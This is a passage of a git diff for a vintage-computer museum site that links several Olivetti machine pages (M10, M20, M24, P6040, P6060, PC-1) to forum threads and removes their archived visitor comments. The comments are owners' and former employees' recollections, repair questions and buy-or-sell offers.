hard drives were huge, like a suit case, and about 150 meg each. The smaller ones were just coming out in 1986 and were about the same physical size of the ones made now at 10-30 meg. - - author: Davo - date: Monday 16th January 2012 - text: I actually worked for the company that made these for Olivetti. They were made in Eatintown nJ by Syntrex Inc. The os was a proprietory one called SOS and was somewhat like a unix system. The features were ahead if the times. - - author: Philip (england) - date: Sunday 26th June 2011 - text: |- - In a way it was ahead of its time, you could split the screen in two and work on two different documents at one time.\ - I used the keyboard and tractor printer, the keys on the keyboard were a bit inclined to break if you had a heavy touch (years of manual typewriters), but we finally moved on to dos, and a different way of working was born. - - author: Charles Moss - date: Wednesday 10th February 2010 - text: About the Olivetti ETS1010, I used one for a few years. It was a great machine. - - author: Jonahtan (manchester) - date: Thursday 3rd February 2005 - text: |- - i have the exact same problem except i'm trying to put in a floppy disk drive\ - is there anychance we could team up and solve this conundrum? lol - - author: Bill Mutch (surrey UK) - date: Wednesday 10th July 2002 - text: |- - Have just rebuilt an "olivetti PCS 44/C"\ - and need access to the "cmos" or bios to tell it it has a new harddrive, but I don't know the key to access the cmos? - - Also does anyone know of the size of disk you are limited to in an old box like this? - - At last I may be getting somewhere\ - Thanks in advance\ - Bill oc_id: 491 source: url: https://web.archive.org/web/20221129111056/http://www.old-computers.com/museum/computer.asp?c=491 diff --git a/content/museum/olivetti-m10.md b/content/museum/olivetti-m10.md index ab4f0253..2444513c 100644 --- a/content/museum/olivetti-m10.md +++ b/content/museum/olivetti-m10.md @@ -64,6 +64,7 @@ params: - photos - adverts - hardware + forum_thread: 469 photos: - title: M-10 subtitle: '' @@ -134,47 +135,6 @@ params: subtitle: '' text: Acoustic coupler and TELCOM integrated software allow the M10 computer to send or receive information and files through a telephone line. image: /media/museum/hardware/olivetti_m10_coupler_1.jpg - comments: - - author: LubikCZ (Czech Republic) - date: Saturday 29th February 2020 - text: Hi, I also own this little computer. It remains to be acquainted with him. But it''s a beautiful machine. - - author: Rainer Kaufhold (Germany) - date: Tuesday 11th February 2020 - text: |- - Hello everybody,\ - rediscovered this Olivetti M10 in a dark drawer after many years. 4 batteries in, turned on ... he left immediately! Great, I''m happy! - - https://photos.app.goo.gl/pAywNrTL4KhZ7G4E8 - - author: Mittal Vora (INDIA) - date: Thursday 2nd October 2014 - text: Hi. I am from India. I recently inherited my dad''s Olivetti M10 Portable computer. If ANYONE still interested let me know. - - author: eliot (uk) - date: Monday 10th October 2011 - text: |- - I have an almost brand new M10 with its original case and instruction book.\ - I worked at olvetti for 8 years - great place.\ - Also had an M20, M24,M240,290 and a 380 tower. - - author: dragos (romania) - date: Monday 6th June 2011 - text: hello everybody , today june 06 2011 , i found in a old motorcycle garage , between old carburetors , pipes and other scrap of motors , an OLIVETTI M10 !!!!! yeaaahhh first when i see it , i dont know what i found , after that , i look careffuly at him... do''nt understand what it is ... i am motorcyclist , and a little bit computerist...and i dont know very good computers , but when i see display , i know .."this is an old stuff..." it must be keeped by me i say.. here in romania in year ''90 an old computers made by a comunist plant , it was felix icee , or HC85 , or cubZ.. from that computers i know a little basic programing .... i am very hapy now when i found this old stuff... :))))) - - author: Andrew Roach - date: Friday 1st April 2011 - text: |- - Ack! Sorry, I just realized that you posted that offer in 2007. I guess I''m a little late there. - - You were also offering an M15, not an M10. I blame the months of April. - - If anyone does have an m10 they want to part with, catchingtech@gmail.com . - - author: Andrew Roach (USA) - date: Friday 1st April 2011 - text: Nick, is that m10 still available? - - author: Nick Blackburn (isle of man, uk) - date: Friday 10th August 2007 - text: |- - I own an Olivetti M15 laptop, A dual 720kByte floppy based PC. This is possibly the best laptop from the 80's in my opinion! - - If anyone wants it, its free to a good home, you just need to pay the postage. email me for more details.\ - nick oc_id: 475 source: url: https://web.archive.org/web/20230605024227/http://www.old-computers.com/museum/computer.asp?c=475 diff --git a/content/museum/olivetti-m20.md b/content/museum/olivetti-m20.md index af4f8a90..a4a6f751 100644 --- a/content/museum/olivetti-m20.md +++ b/content/museum/olivetti-m20.md @@ -69,6 +69,7 @@ params: - adverts - links - docs + forum_thread: 598 photos: - title: NICE ITALIAN DESIGN subtitle: '' @@ -278,106 +279,6 @@ params:  type of document : PDF\  size : 4.7 MB\  source : [Olivetti M20 site](http://88.164.48.108/index.php) - comments: - - author: PETER WALSH (USA) - date: Thursday 19th May 2022 - text: Does anyone know what a chord keyboard is? Peter Walsh - - author: Oliver (Germany) - date: Wednesday 30th December 2020 - text: Hi, I have a Memory Expansion for this machine für sell or Trade Cheers Oliver - - author: BoredBot - date: Tuesday 29th November 2016 - text: 'Olivetti M20: A bit of a cheese machine, easily blown away by an old standard XT. No style.' - - author: Steve (Tennessee) - date: Monday 25th July 2016 - text: |- - Hi, I''m still looking for an M-20 to buy. If I can''t find one I do have many old books\ - and some old software on floppy for an M-20\ - stecla1@gmail.com - - author: Edward Williams (United States) - date: Tuesday 10th March 2015 - text: |- - Looking to buy am Olivetti M20 I had one years ago i lost in a fire i have my original source code,\ - Thanks\ - Edward1469@mac.com - - author: scott-m (USA) - date: Thursday 11th December 2014 - text: |- - Hmmm. . .\ - The equals sign in the youtube.com URL got changed to a dollars sign. Odd. Just search youtube.com for "Olivetti M20 artillery command game", and you will find it.\ - -Scott M - - author: scott-m (USA) - date: Thursday 11th December 2014 - text: |- - Dec 11, 2014 - My Dad shipped the Olivetti M20. The new owner said: I was able to unbox and set up the computer, and was even able to run some of my old BASIC programs and games I wrote 30 years ago. I made a youtube of one game I made, "Artillery Command". It''s a little blurry because my camera had a hard time focusing on the screen, but if you want to see what a 15 year old me did 30 years ago, here it is: - - https://www.youtube.com/watch?v$xotIGWC02MU - - Glad the M20 found a new home.\ - -Scott M - - author: scott-m (USA) - date: Saturday 15th November 2014 - text: 'Nov 15, 2014 - My Dad has a Olivetti M20 in like-new condition with engineering software. He is the original owner and will sell it for just the cost of shipping. Tried to register on old-computers.com, but never got an activation email. old-computers.com generated this error message: The message could not be sent to the SMTP server. The transport error code was 0x80040217. I think outgoing email from this website is not working. Anyway, for that reason I am simply going to put my contact information in this message. Remove all letters ''''x'''' from the following email address: xxsxcoxtx.xmx.2x2x @ xaxtxsxgxaxtxex.xcxoxmxx If you are reading this after February 2015, the computer is most likely already gone. Thanks! -Scott M' - - author: steve (USA) - date: Saturday 9th August 2014 - text: |- - I''m still looking for an M20 to buy,\ - But if not I have floppies and books for the M20 if someone wants to buy them. - - author: Steve (USA) - date: Sunday 1st December 2013 - text: I''m still interested in buying an M-20 or motherboard for one. I have box monitor and power supply and keyboard etc. but Dominique I''m still interested if you have one to sell. - - author: Vincenzo (Italy) - date: Thursday 1st August 2013 - text: |- - hello, - - I own 28 or 29 Olivetti M20s of different models. I''m searching the COLOR MONITOR and the GPIB board (GO220). It is missing to my collection. Anybody can sell it to me? - - Regards, Vincenzo. - - author: Steve (USA) - date: Saturday 4th August 2012 - text: Dominique, I''m interested in your m20 - - author: Graham Reid (UK) - date: Tuesday 14th February 2012 - text: |- - Hi Dominique, I''ve been transcribing the M20 schematics into Eagle so that I can create an equivalent. However, a real machine would be invaluable to correct the mistakes on the diagrams. How much would you want for your M20?\ - (If anyone has a dead motherboard, I''m interested!)\ - Regards, Graham - - author: Dominique Carton - date: Monday 2nd January 2012 - text: I have an Olivetti M20 computer with two floppy drives and programs and documentation, anything I needed to have when I used it. Would consider selling it. - - author: Dominique Carton - date: Monday 2nd January 2012 - text: I have an Olivetti M20 computer with two floppy drives and programs and documentation, anything I needed to have when I used it. Would consider selling it. - - author: Dominique Carton - date: Monday 2nd January 2012 - text: I have an Olivetti M20 computer with two floppy drives and programs and documentation, anything I needed to have when I used it. Would consider selling it. - - author: Dominique Carton - date: Monday 2nd January 2012 - text: I have an Olivetti M20 computer with two floppy drives and programs and documentation, anything I needed to have when I used it. Would consider selling it. - - author: Dominique Carton - date: Monday 2nd January 2012 - text: I have an Olivetti M20 computer with two floppy drives and programs and documentation, anything I needed to have when I used it. Would consider selling it. - - author: Steve (United States) - date: Friday 11th March 2011 - text: |- - I have owned 2 M-20''s and learned to program on them.\ - I still have 1/2 of one (missing the motherboard) and I''d love to have one again. I''m in the market if anyone wants to sell one to me. - - author: Roelof Beverdam (Enschede, Netherlands) - date: Sunday 26th September 2010 - text: Hello, I too have a dual floppy M20. I also have a wealth of documentation and software - both original and (sometimes) copied - including less mainstream items, so to speak. Anyone familiar with Eightbit, Trans816, GPIB-interfacing or programming Numerical Controlled devices - just to name a few? It''s all (t)here - at least the manuals. I am searching for a working M20 emulator$ there is an entry in the MESS system, but without any real driver code. Best regards, Roelof - - author: Davide Bucci (Italy) - date: Thursday 5th May 2005 - text: |- - Hello, I have a M20 with several floppies, running PCOS. I have found user manuals on the Internet, but it would be cool to obtain more detailed informations regarding this computer. In particular, I am interested in how to access low level system calls in Basic, or developing small assembler routines.\ - Best regards - - author: Alejandro Corral (Granada, Spain) - date: Tuesday 26th November 2002 - text: |- - Hello, I have an M20 with a few floppies, with PCOS and some programs. I have a thermal printer from olivetti too...\ - Because lack of documentation I know very little about PCOS and the computer itself. I'm searching any type of documentation about PCOS, programs for it and MS-DOS 2 version adapted for M20 hardware. - - Best Regards oc_id: 611 source: url: https://web.archive.org/web/20230627021257/http://www.old-computers.com/museum/computer.asp?c=611 diff --git a/content/museum/olivetti-m24.md b/content/museum/olivetti-m24.md index 8dfefeea..376e22df 100644 --- a/content/museum/olivetti-m24.md +++ b/content/museum/olivetti-m24.md @@ -71,6 +71,7 @@ params: tabs: - photos - adverts + forum_thread: 529 photos: - title: M24 SP subtitle: '' @@ -92,133 +93,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/olivetti_pub_docile-compatibles_2.jpg - comments: - - author: TiBo (Denmark) - date: Sunday 29th August 2021 - text: 'My introduction to Olivetti computers Back in 1985 my father bought me an Olivetti M24 with double floppy drives and a color monitor. I was already the proud owner of the Amstrad CPC 464 a 8 bit computer and was programming various different small applications with the buildin Basic languages on that one, storing them all on to the build-in tape drive. It had become clear to my father that I had the talent for making computer programs and he decided that it was time to introduce a “realâ€� computer. He had the idea that I could make some programs on the PC that would help him run his business. I started on GW-Basic and within a short time I had made a program that could calculate the salaries for his employees. Soon there after I made a bookkeeping program. It soon became clear that GW-Basic just didn’t do the job so I moved over to Turbo Pascal. I was 17 turning 18 and had no one teaching me anything about computers or programming. It was all try and guess back then way before - the internet arrived so your only "friend" at that time was the libary with a tiny $ion of old books. See more on my YouTube channel: https://www.youtube.com/channel/UC1h0q4N3CnHTeJO3u9SfSDA' - - author: rich anderton (United Kingdom) - date: Wednesday 20th January 2021 - text: I still have my dad''s old m24 and printer been under my stairs for years. Loafs of floppy disks. Was debating if to sell it or what not sure what it''s worth - - author: Gerard (Ireland) - date: Tuesday 12th January 2021 - text: There was also a portable version, the Olivetti M21. Pretty much exactly the same spec but in a ''luggable'' format very similar to the IBM Portable PC except with Olivetti styling panache. It had a 9" monochrome (amber) screen, but with colour output available to an external monitor. The keyboard was a weak point$ mine has several dodgy keys. - - author: Vincenzo (Italy) - date: Monday 21st September 2020 - text: |- - Hello,\ - I''m a collector in Italy. I have around a hundred of M24 and its derivatives. I am searching the PE24. If Mr. Rob, from England is reading this message and would like to sell his PE24, I''m available. Please contact me at sa.cas@NOSPAMvirgilio.it (remove NOSPAM to get the right email address). - - Mrs. Nicole (UK). The Keyboard 2 had 18 function keys, not 19. And the replacement chip for the serial synchronous communication was the 8530. I''ve actually an M24 (for the german market) which is using the 8530 instead than the 8250. You cannot plug both chips. Either the 8250 (which was the standard option for the asynchronous communication) or the 8530 (available as an option) that allowed to have 2 synchronous serial ports, unfortunately, only one was available. The other was usable only through a special board connected to the motherboard but has been discontinued and never used anymore. If anybody has questions on the M24 and other Olivetti computers, ask to me. I''m the GURU of Olivetti computers. - - Regards, Vincenzo. - - author: Emmanuel Mulaya Khazalwa (Kenya) - date: Tuesday 30th October 2018 - text: |- - Hello, I have an Olivetti M24 computer system unit and monitor in perfect working condition (lost the keyboard) for sale. if interested, please contact me. - - Mail to: emmanuelbahati235@gmail.com - - author: Emmanuel Mulaya Khazalwa (Kenya) - date: Tuesday 30th October 2018 - text: Hello, I have an Olivetti M24 computer system unit and monitor in perfect working condition (lost the keyboard) for sale. if interested, please contact me. - - author: Rob (England) - date: Monday 1st May 2017 - text: |- - I have an Olivetti PE24 (which I was given in 1990), which is similar to a M24. The PE stands for Personal Engineering. I have had it stored in my garage for nearly 20 years, and yesterday I plugged it in and it started up perfectly. - - I have all the manuals that go with it. The Installation and Operations Guide says: - - "The Personal Engineering (PE) 24 is designed to meet, in full, the requirements of the CAD/CAM market. The system is based on the Olivetti M24 SP personal computer, with additional features to support the graphics environment. - - "The PE 24 uses an advanced graphics controller and a high resolution, colour video display and runs software specialized for the CAD/CAM environment. - - "The operating system used by the PE 24 is MS-DOS. The graphics primitives for the graphics controller can be written in the following compiler languages:\ - \* FORTRAN 77\ - \* C\ - \* PASCAL\ - \* BASIC - - I have looked for information online about the PE24, but can''t find any references to it. Maybe this is quite a rare old computer that I have. - - author: James Medes (London, England) - date: Tuesday 1st November 2016 - text: 'I have an old and working M24. Excellent machine. In working order (except for a sticking letter which needs remove and cleanning). Mail: james.medes@physics.org if you''''re still looking.' - - author: Robert Ingram (England) - date: Friday 16th September 2016 - text: |- - Hi, does anyone know if I can purchase an M24 or comparable with the old style 5.25 floppy drive or for USA 5 1/4 inch floppy drive\ - Many Thanks - - author: Aleksandar (Slovenia) - date: Wednesday 6th July 2016 - text: The one I was using back then had an NEC V20 processor instead of the Intel 8086, and was more than 3x faster than the IBM PC XT. Also, Olivetti provided a special version of GWBASIC with the DOS that supported the 640x400 mode. - - author: TheDude - date: Thursday 3rd March 2016 - text: I sold my C64 to get this machine. My mother was skeptical because I already spent too much time and money for computers. My buddy told my mother "Don''t worry, with this computer he will have all he needs for years to come, no need to buy a new computer for a long time" - - author: Patrick Ashbee (Canada) - date: Friday 12th July 2013 - text: In 1996 I received one of these from my high school as they had no use for them. They got them through the Federal govt.''s Computers for schools program. They were previously used by our revenue $ taxation department. It was a pretty good PC, had two 360k floppy drives. U upgraded it with a 20mb MFM hard drive $ controller card as well as a 2400 bps Modem. The HDD had only 10 mb useable as it had some bad sectors. It ram MS-Dos 6.22 very well indeed. Used Word Perfect 5.1 on it $ of course terminal emulation to visit local bulletin board services. Those were the days! - - author: IL (Finland) - date: Saturday 15th September 2012 - text: In the late eighties the Finnish magazine Mikrobitti was benchmarking the IBM compatible machines they tested with a self-written benchmark utility. The 4mhz IBM PC was used as a baseline with a score of 1.00. I notice that in the December 1988 issue the Olivetti M24 is listed as the fastest tested computer up to that point with a score of 2,86! Next entries are Toshiba T1200, Amstrad PPC 640, another Amstrad, Microgem MIC-4, Schneider EuroPC, etc. - - author: Nicole (UK) - date: Wednesday 23rd May 2012 - text: |- - The screen also was available with white phosphor and the monochrome versions were powered through the signal cable - no separate power cable. - - One feature, important at the time was that your could remove the top cover in the normal way to $ expansion cards. You could also remove the bottom cover which gave access to the mother, mounted "upside down" and connected to the separate expansion board backplane with a cable that passed through a slot in the metal separating the upper and lower compartments. This meant that motherboard upgrades did not require you to remove the expansion cards. I was never convinced of the utility of this and it was $ped after being used in the M28 (the 80286 successor to the M24). - - There was also a socket on the motherboard that accepted an 8250 (if I recall correctly) that allowed synchronous serial connections. I never ever saw it used. - - There were two models of keyboard. One conventionally had 10 function keys at the left-hand side. The other had nineteen across the top: used for proprietary applications such as OliWord. - - author: Dombrosio (Italy) - date: Thursday 23rd September 2010 - text: |- - I have an M24 working in good condition.\ - Write me at 11mar79@gmail.com if you''re interested. - - author: Joanne Perrier (Montreal Canada) - date: Tuesday 8th June 2010 - text: |- - I have a manual Olivetti 82 typewriter and would like to sell it to a collector or museum for $500.\ - Thank you. Joanne - - author: Luigi Urbinati (Rome/Italy) - date: Tuesday 2nd February 2010 - text: I''m selling an original Olivetti M24 for 400$, please contact me for payment and shipping. (luigiurbinati10@gmail.com) - - author: Lars (Germany) - date: Saturday 18th October 2008 - text: |- - I still own the succeeding system, the Olivetti M240. It is very similar to the M24 but features a volume potentiometer instead of the sound on/of-switch and of course the incredibly fast 10 MHz-8086 processor. The original keyboard is a 102-key standard type and still works perfectly, even after 21 years, as well as the whole system except the clock and calendar (low battery). Unfortunately, this cannot be sait for the 12" monochrome monitor (b+w positive) which needs about a minute to heat up and constantly lacks brightness and sharpness.\ - As the bios is configurated by dip-switches instead of setup software, it is no problem to run the M240 with a low battery. - - author: Dan Eaves (World) - date: Monday 11th February 2008 - text: |- - I'm surprised there's no mention of the kkkkkeybord problem. Dust would accumulate and letters would start repeating, just like you'd held the key down. This was largely random and hugely frustrating. The solution was to disassemble the keyboard, which had 5 or 6 pieces per key, including a loaded spring which had a tendency to launch itself to the other side of the room. You then cleaned and dried all the parts and put it back together. An afternoon's work. A friend of mine in charge of a number of M24s had a staff member who spent all his time taking keyboard keys apart and cleaning. (A special feature was that the colour of the escaping springs matched my carpet. - - Otherwiseeeeeee, a great machhhine. - - author: Emanuel (Italy) - date: Thursday 27th April 2006 - text: |- - Please i have one Olivetti M24 but the machine turn on and then won't load the S.O. brcause don't recognize the drive and the hdd, what is the mode to enter in bios setting or the software to change the settings? The bios battery is low and the settings is losts! Thanks - - Emanuel - - author: Mark Dodd (Australia) - date: Wednesday 22nd June 2005 - text: Telecom Australia brought these PCs by the shipload. The colour screen was brilliant and the speed!!!! I think we got Nortons SI of 2.1!!! Pecking order was established as the power guys got the later M28 models and filtered thier obsolete boxes to the peasants. - - author: PRINCE MATHEW (BANGALORE,INDIA) - date: Friday 26th July 2002 - text: |- - SIR,\ - we have got a pc of the make olivetti(M-24) & a keyboard\ - (101 -keys,ANK2462)for servicing.The machine is in working\ - condition but we are having problems with the hard disk and the\ - key board.the hard disk is a "SEGATE"-ST225(20MB),&the keyboard is\ - 101 keys (ANK-2462).\ - It would have been a great help if u could sugest me or\ - send me the availibillity & details/servicing mannual/circuit\ - schematics of the above mentioned parts. - - yours sincierly\ - PRINCE MATHEW. - - mailto:prince_mathew2000@rediffmail.com oc_id: 535 source: url: https://web.archive.org/web/20230610142244/http://www.old-computers.com/museum/computer.asp?c=535 diff --git a/content/museum/olivetti-p6040.md b/content/museum/olivetti-p6040.md index ef5e7634..1d5460e9 100644 --- a/content/museum/olivetti-p6040.md +++ b/content/museum/olivetti-p6040.md @@ -54,6 +54,7 @@ params: About $60,000 including specific software developement according to custommers needs tabs: - photos + forum_thread: 817 photos: - title: KEYBOARD subtitle: '' @@ -67,19 +68,6 @@ params: subtitle: '' text: Olivetti disk drive with a 2.5" mylar minidisc image: /media/museum/photos/olivetti_p6040_minidisc_1.jpg - comments: - - author: Geoff Greig (Australia) - date: Sunday 11th November 2012 - text: Just before I left Olivetti in the dealers division in Australia, the manager of that section had all the state reps fly to Sydney for the release of the P6040 to be used as a low end Ledger machine (combined with a small printer) to replace the A2. This was just around the time when screen based PC''s were coming out, hence few P6040''s were ever sold - - author: Ned (USA) - date: Thursday 28th July 2011 - text: As I recall, the selling price in the US was around $4,500. - - author: Mark Schmitt (USA) - date: Friday 3rd March 2006 - text: This was the first "computer" I ever touched. It was my senior year in high school, 1978-79, so I would guess this was made in 77 or 78. Our public high school suddenly had one of these, and no teacher knew what to do with it. Four or five of us got hold of a BASIC book and tried to figure out if we could make any of the programs work. I think we might have programmed some sort of dice game. I think we had to write our own random number generator, though. - - author: Bluecher2000 (Germany) - date: Saturday 5th July 2003 - text: Hello, does anybody know where to get a new rubber band for the P6040 disk drive? The original one has lost its elasticity. oc_id: 836 source: url: https://web.archive.org/web/20230608073134/http://www.old-computers.com/museum/computer.asp?c=836 diff --git a/content/museum/olivetti-p6060.md b/content/museum/olivetti-p6060.md index 00048de6..ea43ce72 100644 --- a/content/museum/olivetti-p6060.md +++ b/content/museum/olivetti-p6060.md @@ -66,6 +66,7 @@ params: - photos - links - docs + forum_thread: 405 photos: - title: P6060 subtitle: '' @@ -143,76 +144,6 @@ params:  type of document : Unknown\  size : Unknown\  source : [www.1000bit.net](http://www.1000bit.ne) - comments: - - author: Jim Freiman (USA) - date: Tuesday 6th April 2010 - text: I worked for Olivetti and had one of the first 6060''s in the US. The manual was in Italian so I had ASU interpet it. One thing I remember was the interpetation had bites and nibbles which later became bytes and bits. Not many schools had experience with computers then. After learning the system I was sent to various regions to teach the 6060 and the basic language to other sales reps. Big uses were for Statistics, land surveying calculations, and computing auto contracts. - - author: Wes (USA) - date: Thursday 30th September 2010 - text: I used a P6060 when I worked at Kimball. I used it for NC programming which at the time - about 1977-1981 was pretty cutting edge. I did all the music panel programming for pianos and organs - the thing that holds the music - which was usually a series of freeform curves. A great computer - unless the floppy drives got dirty!! A great machine with great memories. - - author: Steve Oatway (UK) - date: Monday 26th December 2005 - text: I used to work for an Engineering company in the late 1970's and I used two of these machines to perform drive belt power calculations and stock control. I did my first real business programming on these before moving onto an M-PM based machine and then onto LSI Octopus machines. I remmember when we upgraded the memory on one of the Olivetti's and it cost £3000. There was a lunar lander game and also a golf game which we had, used loads of paper !!. - - author: Peter Farrell-Vinay (UK) - date: Monday 19th September 2016 - text: Further to my last post, the software engineer who wrote the BASIC Compiler was Shefford Bryant. - - author: Peter Farrell-Vinay (UK) - date: Monday 19th September 2016 - text: The BASIC interpreter was written by a team from Softech in the US. It was a two-stage interpreter with an intermediate language (because Olivetti insisted) which made execution slow. The use of heat-sensitive paper for output was added fun in that they grew dark with age ... - - author: Jane Gilbert (United States) - date: Friday 3rd April 2015 - text: The Olivetti P6060 was the first computer I laid hands on in 1978 while I was still in high school. So many good memories and funny stories! It was a bad day when someone figured out how to reprogram the function keys and changed the "Save" key to "New." Some poor schmuck lost all of the new program he had just typed in. - - author: Maurice (Hong Kong) - date: Thursday 19th June 2014 - text: I worked for Olivetti (Hong Kong) in 1977,immediately after graduation. Had the job of being technical support for the P6060 and P6040 minicomputers. Great fun but price and lack of memory did not lead to many sales. - - author: rallemann (germany) - date: Thursday 3rd April 2014 - text: Is there still a working machine of this type? Who transcribed the error manuaul from italian to german? Great guy! - - author: Ralf (Germany) - date: Wednesday 12th June 2013 - text: My first love... Was our one and only computer in school for a few years. Expanded later by Display (green monitor), printer (line mass printer), harddisk (9.5 mb) and mark carde reader (special build for our needs). Complete developement of individual school charts was done by a 12.000 line advanced BASIC program... Wow.... great machine... Would still like to have one operational for teaching purposes... - - author: Piotr TRYBUS (POLAND/FRANCE) - date: Wednesday 23rd January 2013 - text: I work as developper and trainer for NC Programming system working on this computer. Big uses and nice trips as Olivetti sold it in Poland, URSS, Tchekoslovakia ... - - author: Riccardo Ukmar (Italy) - date: Friday 4th January 2013 - text: It was 1980 and I was studying at High School ITIS Camillo Olivetti, in Ivrea. For math there was a wonderful lab with several P6060 (one for three/four students). Programming in Basic it was very simple to draw mathematical functions on the embedded thermal printer. It was a great experience, in1984 I joined Olivetti in the printer division (Olivetti Peripheral Equipment)… - - author: Francesco Vecchio (Brescia/Italy) - date: Friday 9th December 2011 - text: |- - I forgot to write that the architecture of the ALU of the CPU ("PUCE1/PUCE2") had introduced an innovative technique that consisted of variable-length microinstruction made $$8203$$$8203$possible by the use of nano istruction which replaced the matrix of control of the ALU. I think it was the first ALU adopted this technique that was later patented by Olivetti (Italy in the patent owner at the time was the company where you worked) - - Best regards and sorry for my English. - - Francesco Vecchio - - author: Francesco Vecchio (Brescia/Italy) - date: Friday 9th December 2011 - text: |- - I found this site and wish to leave a message because I am the father of two CPU boards p6060 "PUCE1/PUCE2" I designed at the R $ D Olivetti Via Camperio, 3 Milan in 1970. Lucio Lanza was my boss and the boss of bosses Louis Mercury. - - greetings - - Francesco Vecchio - - author: Barry (United States) - date: Tuesday 25th October 2011 - text: I used to support payroll on one of those things. The biggest problem was that the programs would sometimes crash and fail to close the files. Then I had to jump in the car and drive to the client site to manually close it with a utility we had. Happy days... - - author: ValerieMichelle (United States) - date: Saturday 1st October 2011 - text: I paid my way through college with my computer experience (1976) starting with a summer internship with the Social Security Administration. The project was to input all of the original social security cards from 1936. It was so cool, since I love history and I was part of an historic process for the Bureau of Records Management. It was also my initial realization that I was a geek at heart. - - author: Jane (USA) - date: Friday 12th August 2011 - text: My high school had one of these back in the late 70s, and I first got to use it in 1978. We all had our own 8 inch floppies that we guarded with our lives, and I can remember HATING when the thermal paper roll got close to the end and our print-outs would be ridiculously curly. I still have some of those print-outs somewhere. - - author: Maurizio Della Corte (Italy) - date: Saturday 9th April 2011 - text: I had a machine like this, and for that era was the best computer to work on. The only limitation was the small amount of system memory. - - author: Romaine (Switzerland) - date: Thursday 22nd April 2010 - text: |- - At Kyle:\ - I''m based in Switzerland, and have a Olivetti P6060 for sale, please contact me by email rspennato@bluewin.ch. - - author: Kyle (Cq) - date: Wednesday 5th July 2006 - text: This computer is so cool!!! I would Like To Know How To Buy One Of The Computers Like This!!!!! oc_id: 407 source: url: https://web.archive.org/web/20230608075036/http://www.old-computers.com/museum/computer.asp?c=407 diff --git a/content/museum/olivetti-pc-1.md b/content/museum/olivetti-pc-1.md index 38427b7e..bd2d1f66 100644 --- a/content/museum/olivetti-pc-1.md +++ b/content/museum/olivetti-pc-1.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 192 photos: - title: RIGHT SIDE subtitle: '' @@ -132,82 +133,6 @@ params: subtitle: '' text: '' image: null - comments: - - author: Jim Moore (England) - date: Tuesday 31st March 2015 - text: |- - I still have one of these, it has not the DD floppy drives$ it has two 1.44MB DSHD drives. Oh, and just giving it a power on test before deciding what to do with it, you have the option on boot, during POST, as to whether or not to use Turbo Mode. - - Now I know it works, I think I''ll blow the dust off a couple shrinkwrapped disks and load the thing up with DOS EDIT. After all, you don''t need four cores and 8GB of RAM just to type a document, right? For that matter I could go completely retro and do my HTML coding on the thing as well! - - author: Pedro Renato (Portugal) - date: Monday 2nd June 2014 - text: I did not know that this did Olivetti computer to compete with the Amstrad PC 1512, not least because I got to use both computers at the same time! - - author: Pedro Renato (Portugal) - date: Monday 2nd June 2014 - text: I did not know that this did Olivetti computer to compete with the Amstrad PC 1512, not least because I got to use both computers at the same time! - - author: Mario (Italy) - date: Sunday 25th November 2012 - text: |- - There are some ERRORS/OMISSIONS in this page. - - The full name of this computer is OLIVETTI PRODEST PC1.\ - Colors: 4 in graphic mode (320x200) with 2 palettes, 2 colors in 640x200 mode, 16 colors in text mode\ - Number of keys: 83 (not 82)\ - Sound: Tone generator with volume control under the keyboard - - author: Zerover (Spain) - date: Friday 20th April 2012 - text: Ya no tengo acceso a la página de Ciberia y parece ser que los ficheros para descargar están corruptos, así que los he vuelto a poner en este otro sitio. - - author: Stephen (UK) - date: Monday 8th November 2010 - text: I think this model was later equipped with a 20 MB HDD, taking over one of the FDD bays. I bought the double FDD version and was annoyed to find the HDD variant in store at a similar price a few weeks later! Although there was a wedge-shaped proprietary mouse, it was not supplied as standard in the UK, but cost about £30 extra. (Of course, you could use a serial mouse so long as you put the driver on your boot diskettes and amended autoexec.bat.) When I bought one in late 1988, it was bundled with the First Choice integrated software suite, which was excellent in its day, turning the machine into a versatile home office system. - - author: stefano jodice (italy) - date: Thursday 18th December 2008 - text: qualcuno ha trovato i driver del mouse ???? - - author: Generoso Lombardi (Avellino) - date: Saturday 2nd June 2007 - text: |- - Qualcuno possiede i driver del mouse del PC1 ?\ - Io l'ho perso il disco se qualcuno c'è l'ha me lo può zippare e mandarmelo ?\ - Grazie. - - author: Generoso Lombardi (Avellino (Italy)) - date: Thursday 8th March 2007 - text: Sto cercando di costruire il cavo da 8 pin a Scart seguendo la pedinatura su questo sito. Non riesco a drovare lo spinotto 8 din in commercio, ma questa sera forse è quella buona. Qualcuno l'ha realizzato gli ha funzionato il tutto ? - - author: stefano iodice (italia) - date: Thursday 14th July 2005 - text: |- - poco... a me me l'hanno tirato dietro gratis, con HD da\ - 20 Mb, floppy, monitor originale CGA e stampante Olivetti Prodest DM91. Installato windows 2.0. e il DOS. No, niente mouse. Qualcuno ne ha uno orig? a proposito, i driver per questa stampante non si trovano. Ma vanno bene anche quelli della IBM ProPrinter II. Provati con CUPS sotto Linux. - - author: diego messana (canicattì AG) - date: Saturday 26th March 2005 - text: sarei grato se qualcuno saprebbe dirmi dove poter trovare il sistema operativo e se possibile quel giochino che all'epoca davano compreso nel sistema operativo che si chiamava load runner. grazie - - author: Zerover (Spain) - date: Thursday 26th February 2004 - text: Por si a alguno le interesa, he colocado en la dirección "http://ciberia.ya.com/olivetti_pc1" el software que traía el ordenador. - - author: Fog76 (Italy) - date: Thursday 27th November 2003 - text: |- - I want buy a PC1.\ - Qualcuno lo vende ? - - author: Spanishard (Spain) - date: Monday 13rd October 2003 - text: Can I connect an actual computer monitor to DB9 comector in PC-1 by olivetty?. Please help me, if you know this information. - - author: Bill Gate$ (Rome) - date: Monday 7th April 2003 - text: 'Actual Price in Italy: 15/20 €' - - author: xav (France) - date: Sunday 15th December 2002 - text: |- - When i switch on my PC1, it doesn't recognize the mouse...\ - I start this computer with an old "Zenith" ms-dos disk...\ - Where can i find the original content of the MS-DOS disk witch was sold with this machine ? - - author: Dan (Italy) - date: Wednesday 14th August 2002 - text: |- - Qualcuno sa indicarmi dove trovare istruzioni o software per il download?\ - Does someone can tell me where I can find instructions or software to download? - - author: ivan (italia) - date: Tuesday 9th July 2002 - text: quanto puo costare adesso per u collezionista? oc_id: 182 source: url: https://web.archive.org/web/20230608074251/http://www.old-computers.com/museum/computer.asp?c=182 diff --git a/content/museum/olivetti-prodest-pc-128.md b/content/museum/olivetti-prodest-pc-128.md index e041e8d7..5b16c5df 100644 --- a/content/museum/olivetti-prodest-pc-128.md +++ b/content/museum/olivetti-prodest-pc-128.md @@ -62,6 +62,7 @@ params: - emulators - links - videos + forum_thread: 834 photos: - title: PC-128 